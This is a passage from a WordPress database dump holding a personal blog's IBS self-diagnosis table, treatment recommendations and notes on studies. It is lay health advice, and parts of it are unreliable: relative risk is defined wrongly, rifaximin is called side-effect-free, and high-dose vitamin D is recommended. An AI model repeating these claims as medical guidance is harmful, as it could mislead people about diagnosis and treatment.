abdominal pain/cramping</td></tr></tbody></table></figure>\n<!-- /wp:table -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3><strong>Gender</strong></h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Women are around two to three times more likely to be diagnosed with IBS and four to five times more likely to seek specialty care for it than men.<a href=\"https://en.wikipedia.org/wiki/Irritable_bowel_syndrome#cite_note-158\"><sup>[158</sup></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Studies of females with IBS show symptom severity often fluctuates with the menstrual cycle, suggesting hormonal differences may play a role.<a href=\"https://en.wikipedia.org/wiki/Irritable_bowel_syndrome#cite_note-159\"><sup>[159]</sup></a></p>\n<!-- /wp:paragraph -->','A complete guide to self-diagnosing and self-treating IBS','','inherit','closed','closed','','58-revision-v1','','','2021-04-18 16:55:14','2021-04-18 16:55:14','',58,'https://trevorklee.com/?p=68',0,'revision','',0),
(71,1,'2021-04-18 17:12:12','2021-04-18 17:12:12','<!-- wp:paragraph -->\n<p>Wondering if you actually have IBS? Use this self-diagnosis table! Sources and table from <a href=\"https://trevorklee.com/a-complete-guide-to-self-diagnosing-and-self-treating-ibs/\" data-type=\"page\" data-id=\"58\">my big IBS post</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Note that the more of these conditions that you have, the more likely the diagnosis is. So, if you take the first example, an obese smoker on prednisone with constipation is more likely to have diverticulitis than a skinny non-smoker with diarrhea.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Also, please note that I’ve&nbsp;<em>italicized</em>&nbsp;the most important parts of a diagnosis. For example, unexplained weight loss is a pretty big warning sign for colon cancer and Chron’s. If you just have diarrhea and don’t have unexplained weight loss, neither colon cancer or Crohn’s are likely (but they’re still possible).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 id=\"ibs-diagnosis-table\">IBS Diagnosis Table</h3>\n<!-- /wp:heading -->\n\n<!-- wp:table -->\n<figure class=\"wp-block-table\"><table><tbody><tr><td><strong>If you have</strong></td><td><strong>Or if you are</strong></td><td><strong>Then you might have</strong></td></tr><tr><td>Bloating OR constipation OR diarrhea OR&nbsp;<em>bright blood in your stool</em></td><td>Obese OR a smoker OR a user of anti-inflammatories/steroids</td><td>Diverticulitis</td></tr><tr><td>Constipation OR diarrhea OR&nbsp;<em>unexplained weight loss</em>&nbsp;OR fatigue</td><td><em>Over the age of 45 (especially over the age of 65)</em>&nbsp;OR&nbsp;<em>have a history of cancer</em></td><td>Colon cancer</td></tr><tr><td><em>Bloody diarrhea</em>&nbsp;</td><td></td><td>Ulcerative colitis</td></tr><tr><td>Diarrhea OR unexplained anemia OR&nbsp;<em>fever</em>&nbsp;OR&nbsp;<em>unexplained weight loss</em>&nbsp;OR growth retardation</td><td></td><td>Crohn’s disease</td></tr><tr><td>Joint pain OR&nbsp;<em>cold intolerance</em>&nbsp;OR constipationOR depression OR heavy menstrual flow OR unexplained weight gain or&nbsp;<em>fatigue&nbsp;</em>OR hair loss</td><td><em>Female</em></td><td>Hypothyroidism</td></tr><tr><td>Diarrhea AND nausea OR vomiting OR weight loss</td><td><em>In an area with poor water quality or food hygiene standards</em></td><td>Giardia</td></tr><tr><td>Abdominal bloating OR gas OR&nbsp; distension OR diarrhea</td><td><em>A user of proton pump inhibitors (e.g. Prilosec)&nbsp;</em>OR&nbsp;<em>opioids</em>&nbsp;OR&nbsp;<em>gastric bypass</em>&nbsp;OR&nbsp;<em>colectomy</em></td><td>Small intestinal bacterial overgrowth (SIBO)</td></tr><tr><td>Diarrhea OR bloating OR fatigue OR anemia OR&nbsp;<em>unexplained blisters (dermatitis herpetiformis)</em></td><td><em>Type 1 diabetic</em></td><td>Celiac disease</td></tr><tr><td><em>Diarrhea</em></td><td></td><td>Bile acid malabsorption</td></tr><tr><td><em>Constipation</em></td><td><em>Over 65&nbsp;</em>OR&nbsp;<em>African American</em>&nbsp;OR&nbsp;<em>pregnant/a mother</em></td><td>Dyssnergic defecation</td></tr><tr><td>Abdominal pain and bloating OR gas OR watery stool&nbsp;<em>following the ingestion of foods containing lactose</em></td><td>Black, Latino, or&nbsp;<em>Asian</em></td><td>Lactose intolerance</td></tr><tr><td>Diarrhea OR constipation OR brain fog OR joint/muscle pain, OR skin rash/dermatitis</td><td>Female OR in the third to fourth decade of life</td><td>Non celiac gluten sensitivity</td></tr><tr><td>Nausea and vomiting OR&nbsp;<em>feeling of fullness or burning in your stomach</em>&nbsp;OR blood in your vomit or stool.</td><td><em>In an area with poor water quality or food hygiene standards</em></td><td>H. pylori</td></tr><tr><td>Constipation OR diarrhea OR nausea OR&nbsp;<em>a feeling of early fullness</em></td><td></td><td>A motility disorder, like slow transit constipation</td></tr><tr><td></td><td></td><td></td></tr><tr><td>**RARE CONDITIONS FOLLOW BELOW (you probably don’t have these)**</td></tr><tr><td><em>Constipation since early childhood</em></td><td></td><td>Hirschsprung’s disease</td></tr><tr><td>Chronic or intermittent watery diarrhea OR unexplained weight loss, OR joint pain</td><td>Over 65 OR female</td><td>Microscopic colitis</td></tr><tr><td><em>Flushing</em>&nbsp;OR diarrhea OR&nbsp;<em>shortness of breath</em>&nbsp;OR&nbsp;<em>palpitation</em></td><td></td><td>Carcinoid syndrome (part of carcinoid tumors)</td></tr><tr><td>Nausea OR vomiting, OR diarrhea OR anemia OR weight loss</td><td></td><td>Eosinophilic gastroenteritis</td></tr></tbody></table></figure>\n<!-- /wp:table -->','IBS Diagnosis Table','','private','open','open','','ibs-diagnosis-table','','','2022-01-07 15:20:07','2022-01-07 15:20:07','',0,'https://trevorklee.com/?p=71',0,'post','',0);
INSERT INTO `wp4v_posts` VALUES
(72,1,'2021-04-18 17:28:50','2021-04-18 17:28:50','<!-- wp:simpletoc/toc {\"max_level\":3} /-->\n\n<!-- wp:heading -->\n<h2>Introduction</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>I went through my own bout with IBS some years ago. It was really frustrating. It seemed to come out of nowhere. I spent a lot of money on a test for SIBO to see if that was the problem, but didn’t see any results. Then, it briefly seemed like I was cured, only to randomly become sensitive to gluten for a year.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Dealing with IBS was especially frustrating because of the unhelpful advice from doctors, family, and friends. Doctors would tell me it was all in my head. My family thought I had Crohn\'s. My friends just would get weirded out by the things I refused to eat, and try to nag me into trying just one muffin/beer/hot wing.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>A few years ago, my IBS disappeared as suddenly as it came. Now, I’m mostly ok. But I still remember how frustrating and life-impairing IBS was.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This article is what I wish I had back when I first got IBS. It’s not just another blog spam on the front page of Google, with the 5 things that literally every other blog spam tells you about IBS.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It’s a comprehensive guide to making sure you have IBS and not another disease, and then treating IBS. And I mean comprehensive. If I missed anything, tell me!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>At the end of the article, I list all my sources (and there are a lot!) and what I took from them. I also include my evaluation of the treatment options, as I know that can be an especially challenging thing for IBS patients to do.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you’re pressed for time, just scroll down and look at the tables. If you’re not, feel free to read everything.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>How can you be sure you have IBS?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>IBS is a diagnosis of exclusion. If you don’t have other conditions that can also cause stomach problems, then you probably have IBS.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Most doctors skip straight to diagnosing IBS without thoroughly checking whether you might have these other conditions. That’s unfortunate, because, unlike IBS, some of these other conditions actually have cures. If you’re diagnosed correctly, your IBS could be solved a lot quicker.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Also, some of these conditions are much more serious than IBS. So, you definitely want to make sure you don’t have these other conditions, because, if you do, you’ll need to start treating them ASAP.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Here’s a pretty exhaustive list of conditions that mimic IBS. Each row is a separate condition. Use it to potentially diagnose yourself. You’ll need laboratory tests to confirm whether you’re correct, but at least you’ll be able to advocate for yourself at the doctor’s office.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Note that the more of these conditions that you have, the more likely the diagnosis is. So, if you take the first example, an obese smoker on prednisone with constipation is more likely to have diverticulitis than a skinny non-smoker with diarrhea.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Also, please note that I’ve <em>italicized</em> the most important parts of a diagnosis. For example, unexplained weight loss is a pretty big warning sign for colon cancer and Chron’s. If you just have diarrhea and don’t have unexplained weight loss, neither colon cancer or Crohn\'s are likely (but they’re still possible).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>IBS Diagnosis Table</h3>\n<!-- /wp:heading -->\n\n<!-- wp:group -->\n<div class=\"wp-block-group\"><div class=\"wp-block-group__inner-container\"><!-- wp:table {\"className\":\"is-style-regular\"} -->\n<figure class=\"wp-block-table is-style-regular\"><table><tbody><tr><td><strong>If you have</strong></td><td><strong>Or if you are</strong></td><td><strong>Then you might have</strong></td></tr><tr><td>Bloating OR constipation OR diarrhea OR <em>bright blood in your stool</em></td><td>Obese OR a smoker OR a user of anti-inflammatories/steroids</td><td>Diverticulitis</td></tr><tr><td>Constipation OR diarrhea OR <em>unexplained weight loss</em> OR fatigue</td><td><em>Over the age of 45 (especially over the age of 65)</em> OR <em>have a history of cancer</em></td><td>Colon cancer</td></tr><tr><td><em>Bloody diarrhea</em>&nbsp;</td><td></td><td>Ulcerative colitis</td></tr><tr><td>Diarrhea OR unexplained anemia OR <em>fever</em> OR <em>unexplained weight loss</em> OR growth retardation</td><td></td><td>Crohn\'s disease</td></tr><tr><td>Joint pain OR <em>cold intolerance</em> OR constipation OR depression OR heavy menstrual flow OR unexplained weight gain or <em>fatigue </em>OR hair loss</td><td><em>Female</em></td><td>Hypothyroidism</td></tr><tr><td>Diarrhea AND nausea OR vomiting OR weight loss</td><td><em>In an area with poor water quality or food hygiene standards</em></td><td>Giardia</td></tr><tr><td>Abdominal bloating OR gas OR&nbsp; distension OR diarrhea</td><td><em>A user of proton pump inhibitors (e.g. Prilosec) </em>OR <em>opioids</em> OR <em>gastric bypass</em> OR <em>colectomy</em></td><td>Small intestinal bacterial overgrowth (SIBO)</td></tr><tr><td>Diarrhea OR bloating OR fatigue OR anemia OR <em>unexplained blisters (dermatitis herpetiformis)</em></td><td><em>Type 1 diabetic</em></td><td>Celiac disease</td></tr><tr><td><em>Diarrhea</em></td><td></td><td>Bile acid malabsorption</td></tr><tr><td><em>Constipation</em></td><td><em>Over 65 </em>OR <em>African American</em> OR <em>pregnant/a mother</em></td><td>Dyssnergic defecation</td></tr><tr><td>Abdominal pain and bloating OR gas OR watery stool <em>following the ingestion of foods containing lactose</em></td><td>Black, Latino, or <em>Asian</em></td><td>Lactose intolerance</td></tr><tr><td>Diarrhea OR constipation OR brain fog OR joint/muscle pain, OR skin rash/dermatitis</td><td>Female OR in the third to fourth decade of life</td><td>Non celiac gluten sensitivity</td></tr><tr><td>Nausea and vomiting OR <em>feeling of fullness or burning in your stomach</em> OR blood in your vomit or stool.<br></td><td><em>In an area with poor water quality or food hygiene standards</em></td><td>H. pylori</td></tr><tr><td>Constipation OR diarrhea OR nausea OR <em>a feeling of early fullness</em></td><td></td><td>A motility disorder, like slow transit constipation</td></tr><tr><td></td><td>**RARE CONDITIONS FOLLOW BELOW (you probably don’t have these)**</td><td></td></tr><tr><td><em>Constipation since early childhood</em></td><td></td><td>Hirschsprung\'s disease</td></tr><tr><td>Chronic or intermittent watery diarrhea OR unexplained weight loss, OR joint pain<br></td><td>Over 65 OR female</td><td>Microscopic colitis</td></tr><tr><td><em>Flushing</em> OR diarrhea OR <em>shortness of breath</em> OR <em>palpitation</em></td><td></td><td>Carcinoid syndrome (part of carcinoid tumors)</td></tr><tr><td>Nausea OR vomiting, OR diarrhea OR anemia OR weight loss</td><td></td><td>Eosinophilic gastroenteritis</td></tr></tbody></table></figure>\n<!-- /wp:table --></div></div>\n<!-- /wp:group -->\n\n<!-- wp:heading -->\n<h2>Steps to treat IBS</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>If you’ve made it through the whole list above and none of those apply to you, you probably just have IBS.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It’s more likely you have IBS if you have a history of anxiety or depression, are female, or especially if you’ve <em>recently had a stomach bug</em>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Now you’re looking for treatment. Good on you! My recommendations are to start with a food restriction diet. Take away everything but chicken and rice, then slowly add the rest back in.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you have diarrhea, you might try a low FODMAP diet, eating small, regular portions, and/or limiting gassy foods like beans, cabbages, and onions.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you have constipation, you might try psyllium or linseed.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you want to try medication, I’d recommend very high doses of cholecalciferol (Vitamin D3), like 50k IU every 2 weeks. You might also try peppermint oil for short term diarrhea relief.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>That’s my short list. For my long list, including evaluation and limitations of treatments, read on!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>IBS Treatment Table</h3>\n<!-- /wp:heading -->\n\n<!-- wp:table -->\n<figure class=\"wp-block-table\"><table><tbody><tr><td><strong>Potential IBS treatment</strong></td><td><strong>Evaluation</strong></td><td><strong>Limitations</strong></td></tr><tr><td>Low FODMAP</td><td>Low FODMAP diets seem to work. It doesn’t necessarily work better than just eating normal portions at regular times and reducing fat, insoluble fibers, caffeine, beans, cabbages, and onions. It works better if you have diarrhea.</td><td>The studies are only 1-3 months. It’s not clear what happens if you resume a normal diet after that time span.<br>The studies aren’t very well designed.</td></tr><tr><td>Gluten free diet (for non celiac)</td><td>It can work, but there’s not a big effect.</td><td>It only works for people who are sensitive to gluten (it’s not for anyone with IBS).</td></tr><tr><td>Fiber</td><td>Bran and insoluble fiber are probably not effective in any form of IBS.<br>Ispaghula (psyllium) and linseed, which are soluble fibers, are probably effective in all forms of IBS. Linseed seems like it’s probably better than psyllium.&nbsp;</td><td>All studies were done over a max of 1-3 months.<br>The studies aren’t very well designed.</td></tr><tr><td>Laxatives</td><td>Laxatives work.</td><td>They may not prevent constipation, especially in older patients</td></tr><tr><td>Anti spasmodics (dicyclomine, peppermint oil, pinaverium, trimebutine)</td><td>They have ok effects for abdominal pain and bigger effects for overall symptom scores.&nbsp;</td><td></td></tr><tr><td>Discontinuation of proton pump inhibitors</td><td>Not really a cure for IBS, but PPI overuse does lead to SIBO.</td><td></td></tr><tr><td>Antidepressants</td><td>Antidepressants probably work if your IBS is caused by depression or anxiety. It’s unclear whether they work if you don’t.</td><td>Antidepressants aren’t more effective in IBS than therapy.<br>It’s unclear if the type of antidepressant matters, but it most likely varies from person to person.</td></tr><tr><td>Rifaximin</td><td>Rifaximin can definitely benefit IBS-D, and may help IBS-C. It doesn’t seem to have any side effects.</td><td></td></tr><tr><td>Vitamin D3</td><td>Very high doses of vitamin D every 2 weeks (50,000 IU) probably improve IBS symptoms.</td><td>Taking really high doses of vitamin D can cause side effects. If you get side effects, stop taking vitamin D.</td></tr><tr><td>Soy isoflavones</td><td>Soy isoflavones may improve IBS in women.&nbsp;</td><td>There aren’t really good studies in men. There are no good long term studies either.</td></tr><tr><td>Acupuncture</td><td>Real acupuncture works just as well as fake acupuncture (having someone pretend to stick needles in you). Both work ok.</td><td></td></tr><tr><td>Probiotics</td><td>Probiotics may have a small effect.</td><td>The type of bacteria in the probiotic and the formulation matters a lot, as a lot of probiotics are useless or destroyed in the stomach.</td></tr><tr><td>Mesalazine</td><td>Mesalazine is probably not effective in IBS.</td><td></td></tr><tr><td>Loperamide</td><td>Loperamide is helpful for diarrhea and diarrhea-related symptoms.</td><td>There aren\'t great long-term studies. It may make pain at night worse.</td></tr><tr><td>Fecal microbiota transplant</td><td>Sometimes really helpful, sometimes not helpful at all.</td><td>Nasojejunal tube and colonoscopy seem like they work better than capsule for administration.</td></tr></tbody></table></figure>\n<!-- /wp:table -->\n\n<!-- wp:heading -->\n<h2>Evidence</h2>\n<!-- /wp:heading -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>How I evaluated the evidence</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Evaluating evidence is hard in general, and evaluating evidence in IBS is no exception.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I’ll list out those problems, then list how I tried to solve them.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>First, there are specific IBS issues.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>IBS has a variety of symptoms associated with it, and a treatment that fixes diarrhea will not necessarily fix constipation. This makes treatments difficult to measure in effectiveness. Some scientists try to make up for this by asking patients questions like, “Is your pain reduced?” or “Are you happy with your bowel movements?”, but those can be biased by treatments that treat only pain or depression without affecting IBS-specific symptoms.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To solve this, I tried to tease out the various effects that treatments had on different symptoms of IBS when I could. I paid especially close attention to questions that could be biased, which was a particular issue in antidepressants, as those will obviously make people happier with any treatment.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>IBS is also, obviously, really hard to diagnose. One study found that 30% of people with IBS-D actually have bile acid malabsorption. If that’s true, then 30% of the people in any IBS-D study don’t have IBS. What exactly does the study measure, then?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I didn’t have a good way of solving this, so I just hoped for the best.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>IBS studies are also often reliant on patient compliance, especially when testing dietary interventions like low FODMAP. This is...not great. <a href=\"https://journals.lww.com/ajg/Fulltext/2014/10002/Diet_Compliance_and_Its_Measurement_in_a_Clinical.1734.aspx\">This IBD study</a> found only 55% diet compliance (i.e. patients ate different food than prescribed almost half of the time). From my own experience, I had a girlfriend who did weight loss studies. Even when the study gave her food to take home, she would throw it out and just eat her own food because it tasted better. Needless to say, she did not tell the clinicians this.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I tried to solve this by avoiding studies that were reliant on patient compliance and self-reporting. If I couldn’t avoid the studies, I relied on them less for my recommendations.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, those are some IBS specific issues. Let’s talk about issues in general.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The gold standard for a trial is placebo-controlled, double-blind and randomized. Placebo-controlled means that half the people get a fake treatment, so the experimenters can weed out any people who would have gotten better regardless of if they got the control.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Double blind means that neither the patient nor the experimenters know whether they are getting a real treatment, so nobody can cheat on their measurements or reports if they have a belief one way or another. Last, randomized means people get randomly assigned to placebo or treatment, so we end up with the same sorts of people in both groups.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Reaching that gold standard is easier in some trials than in others. If we’re testing a treatment like gluten, it’s actually surprisingly easy if the experimenters are up for it. They just give every group a pill, and sometimes the pill contains wheat flour, sometimes rice flour. The experimenters don’t know which pills are which until all the measurements are done.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>However, if we’re testing a treatment like low FODMAP, it’s impossible. Everyone knows which diet is the low FODMAP diet. There’s no faking it for either side. So, if a patient really believes low FODMAP will work for them, they might be a little more lax with their reports, (if they’re between a 1 and 2 on a scale, they might choose 2 more often than 1). An experimenter might do the same.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I tried to notice when studies were falling away from the gold standard, but I don’t want to just throw away all studies that don’t reach that standard. Then I’d have to throw away a lot of potential useful treatments. Instead, I weighted my judgments accordingly.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Once I was sure studies were performed well, I looked for consistently positive results. Any study can have a positive result once, especially if it’s a small study, in the same way that it’s easy to flip a coin 3 times and get all heads. But consistently getting heads when you flip a coin 100 times is a different story, and suggests there’s actually something there.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I also looked for consistent results across measures. A treatment should improve IBS severity, overall satisfaction, and symptoms. If it only improves one measure, it suggests that measure might have been a fluke.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I also looked for big results in the form of big effect sizes vs. placebo. When there are treatments that can almost quadruple the effects of placebo like vitamin D, small effects like mesalazine which might work ok for some people didn’t cut it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Last, I combined all these together and got my evaluations.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>How I came up with my recommendations</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Some technical notes on how to read these.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>RR, which is relative risk, is basically the number with the bad outcome over the number with the good outcome. So, the smaller RR is, the better.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>CI, which is confidence interval, just accounts for error in the measurement. In the first study below, the RR is estimated to be 0.69, but it might be between 0.54 and 0.88.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I2 (which should really be I<sup>2</sup>) is a measure of “heterogeneity”, or how different the various effects are. The closer I2 gets to 100%, the greater the differences between studies (which makes you start to wonder why they’re so different).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>N, like n=39, is just how many patients there were in a specific group.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The P value, like P=0.62, is the likelihood that a difference found between treatments or conditions is a fluke. By convention, we use P&lt;0.05 to mean significant, as in there’s a less than 5% chance that the difference is a fluke.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>[Note for statistics nerds: all the definitions above are rough definitions for a lay audience. If you know the definition better than that, then good on you! Please don’t send me angry messages over it.]</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>My notes on each study are in <em>italics.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>FODMAP</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Low FODMAP diets seem to work, but the studies aren’t very good. It doesn’t necessarily work better than just eating regularly and reducing fat, insoluble fibers, caffeine, beans, cabbages, and onions. It works better if you have diarrhea.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>All studies were done over 1-3 months.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://eprints.whiterose.ac.uk/134755/\">A Systematic Review and Meta-Analysis Evaluating the Efficacy of a Gluten-Free Diet and a Low FODMAPs Diet in Treating Symptoms of Irritable Bowel Syndrome - White Rose Research Online</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This is a meta-study for both gluten-free diet and low FODMAP. I used it to guide my thinking, but also looked at the studies myself.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>&nbsp;There were seven RCTs comparing a low FODMAP diet with various control interventions in 397 participants. A low FODMAP diet was associated with reduced global symptoms compared with control interventions (RR = 0.69; 95% CI 0.54 to 0.88; I2= 25%). The three RCTS that compared low FODMAP diet with rigorous control diets had the least heterogeneity between studies, but also the least magnitude of effect.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.sciencedirect.com/science/article/abs/pii/S0016508515010860\">Diet Low in FODMAPs Reduces Symptoms of Irritable Bowel Syndrome as Well as Traditional Dietary Advice: A Randomized Controlled Trial - ScienceDirect</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>Note that this study is relying on food diaries. This is an ok solution to problems of non compliance, but it’s not great, as people can still lie or misremember. Keeping a food diet for 4 weeks is hard! Also, there’s definitely an overlap between the low FODMAP diet and the normal diet. There’s also no placebo group.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Subjects were randomly assigned to groups that ate specific diets for 4 weeks—a diet low in FODMAPs (n = 38) or a diet frequently recommended for patients with IBS (ie, a regular meal pattern; avoidance of large meals; and reduced intake of fat, insoluble fibers, caffeine, and gas-producing foods, such as beans, cabbage, and onions), with greater emphasis on how and when to eat rather than on what foods to ingest (n = 37).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>A total of 67 patients completed the dietary intervention (33 completed the diet low in FODMAPs, 34 completed the traditional IBS diet). The severity of IBS symptoms was reduced in both groups during the intervention (<em>P</em> &lt; .0001 in both groups before vs at the end of the 4-week diet), without a significant difference between the groups (<em>P</em> = .62). At the end of the 4-week diet period, 19 patients (50%) in the low-FODMAP group had reductions in IBS severity scores ≥50 compared with baseline vs 17 patients (46%) in the traditional IBS diet group (<em>P</em> = .72).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://gut.bmj.com/content/66/7/1241.short\">FODMAPs alter symptoms and the metabolome of patients with IBS: a randomised controlled trial | Gut (bmj.com)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This study is looking directly at the metabolome, which is interesting, and should be more reliable than food diaries. The metabolome does seem to change a lot, which is interesting, but it’s weird to look at urine for the metabolome. Urine is not what would normally be affected by a change in diet.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>&nbsp;We performed a controlled, single blind study of patients with IBS (Rome III criteria) randomised to a low (n=20) or high (n=20) FODMAP diet for 3 weeks.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Thirty-seven patients (19 low FODMAP; 18 high FODMAP) completed the 3-week diet. The IBS-SSS was reduced in the low FODMAP diet group (p&lt;0.001) but not the high FODMAP group. LBTs showed a minor decrease in H2 production in the low FODMAP compared with the high FODMAP group. Metabolic profiling of urine showed groups of patients with IBS differed significantly after the diet (p&lt;0.01), with three metabolites (histamine, p-hydroxybenzoic acid, azelaic acid) being primarily responsible for discrimination between the two groups. Histamine, a measure of immune activation, was reduced eightfold in the low FODMAP group (p&lt;0.05).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.sciencedirect.com/science/article/abs/pii/S0016508513014078\">A Diet Low in FODMAPs Reduces Symptoms of Irritable Bowel Syndrome - ScienceDirect</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This is a pretty good study. They provided food and they collected stool instead of urine or self-report. Again, there’s no placebo control, so that’s a problem, but this is probably as good as you’re going to get with a low FODMAP diet. I wish they had more people and over a longer term.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In a study of 30 patients with IBS and 8 healthy individuals (controls, matched for demographics and diet), we collected dietary data from subjects for 1 habitual week. Participants then randomly were assigned to groups that received 21 days of either a diet low in FODMAPs or a typical Australian diet, followed by a washout period of at least 21 days, before crossing over to the alternate diet. Daily symptoms were rated using a 0- to 100-mm <a href=\"https://www.sciencedirect.com/topics/medicine-and-dentistry/visual-analog-scale\">visual analogue scale</a>. Almost all food was provided during the interventional diet periods, with a goal of less than 0.5 g intake of FODMAPs per meal for the <a href=\"https://www.sciencedirect.com/topics/medicine-and-dentistry/low-fodmap-diet\">low-FODMAP diet</a>. All stools were collected from days 17–21 and assessed for frequency, weight, water content, and King\'s Stool Chart rating.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Subjects with IBS had lower overall gastrointestinal symptom scores (22.8; 95% confidence interval, 16.7–28.8 mm) while on a diet low in FODMAPs, compared with the Australian diet (44.9; 95% confidence interval, 36.6–53.1 mm; <em>P</em> &lt; .001) and the subjects\' habitual diet. Bloating, pain, and passage of wind also were reduced while IBS patients were on the low-FODMAP diet. Symptoms were minimal and unaltered by either diet among controls. Patients of all IBS subtypes had greater satisfaction with stool consistency while on the low-FODMAP diet, but diarrhea-predominant IBS was the only subtype with altered fecal frequency and King\'s Stool Chart scores.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Gluten free diet (in non celiac)</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Pretty good studies, but there’s not a big effect. All studies were done over 1-3 months.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://eprints.whiterose.ac.uk/134755/\"><strong>A Systematic Review and Meta-Analysis Evaluating the Efficacy of a Gluten-Free Diet and a Low FODMAPs Diet in Treating Symptoms of Irritable Bowel Syndrome - White Rose Research Online</strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>Again, same meta review.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Both selected patients that had 